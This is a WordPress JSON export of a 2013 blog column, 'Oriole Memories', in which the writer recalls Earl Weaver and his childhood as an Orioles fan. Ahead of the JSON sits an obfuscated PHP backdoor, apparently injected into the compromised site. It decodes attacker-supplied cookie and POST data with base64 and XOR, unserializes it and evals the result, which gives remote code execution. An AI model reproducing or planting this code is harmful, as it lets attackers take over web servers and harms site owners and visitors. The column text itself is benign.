$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":2032,"date":"2013-01-30T08:28:14","date_gmt":"2013-01-30T13:28:14","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=2032"},"modified":"2013-01-30T08:28:14","modified_gmt":"2013-01-30T13:28:14","slug":"oriole-memories","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=2032","title":{"rendered":"Oriole Memories"},"content":{"rendered":"

I try not to get caught up in hero worship so I didn\u2019t have an immediate visceral reaction to the news. Weaver was 82 years old. He lived a good, long life. I couldn\u2019t get too sad over the death of someone I never met, but one other emotion did take over.<\/p>\n

Nostalgia.<\/p>\n

Some of the best times I had growing up related to Baltimore\u2019s baseball team. Weaver played a big role because I could, for some reason, relate to a short, temperamental person born on August 14. Sharing a birthday with the manager of my favorite team always made me smile for some silly reason.<\/p>\n

Weaver also had a story that I could relate to. He never made it to the major leagues and eventually channeled his passion for the game into managing. The chip on his shoulder might have come from knowing he missed reaching his dream by just one step.<\/p>\n

I never had a chance to even sniff the minor leagues, and can\u2019t say that my life paralleled Earl Weaver\u2019s in any way, shape or form, but I did learn some lessons as I obsessively followed the team in my elementary school days.<\/p>\n

Back then, baseball was a family affair for me. Both my parents grew up avid fans of the game, and they passed that down. Sometimes, a whole bunch of us would plan for a night at Memorial Stadium, but more often than not, we would go to a game on a lark because you could always find a seat in the bleachers.<\/p>\n

We would dissect the decision to play Cal Ripken at shortstop and debate the merits of the new rookie who had appeared in the bullpen. So many great Oriole pitchers started their careers that way, we always had hope that another legend would grow before our very eyes.<\/p>\n

At the same time, the team resembled a family in a way teams just don\u2019t seem to anymore. This could sound like a (getting older) guy complaining about the good ol\u2019 days in sports, but that\u2019s really not the point. I understand why things have changed for pro athletes.<\/p>\n

That doesn\u2019t mean that the era I grew up in didn\u2019t affect me. I could go to games with my older brothers for a pretty low price and watch a bunch of guys who really seemed to care about each other led by a guy who I could relate to on some superficial level.<\/p>\n

I don\u2019t know if that can happen again. I carry as much of the blame as the current atmosphere in pro sports. My days of covering sports as a reporter along with my coaching and officiating experience make it hard for me to get too wrapped up in things anymore. I really enjoy the games, but just can\u2019t invest the love and hate I used to.<\/p>\n

That\u2019s why I smiled a little inside when I thought about Earl Weaver last week. I\u2019m glad I have those memories.<\/p>\n","protected":false},"excerpt":{"rendered":"

Like with most things, I discovered the news from my friends online. I don\u2019t know whether I first saw the announcement on Twitter or Facebook, but I learned Earl Weaver had died when I checked in to see if anyone…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[45,44,3],"tags":[],"class_list":["post-2032","post","type-post","status-publish","format-standard","hentry","category-baltimore","category-baseball","category-columns","wpcat-45-id","wpcat-44-id","wpcat-3-id"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/2032","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2032"}],"version-history":[{"count":1,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/2032\/revisions"}],"predecessor-version":[{"id":2033,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/2032\/revisions\/2033"}],"wp:attachment":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2032"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2032"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2032"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}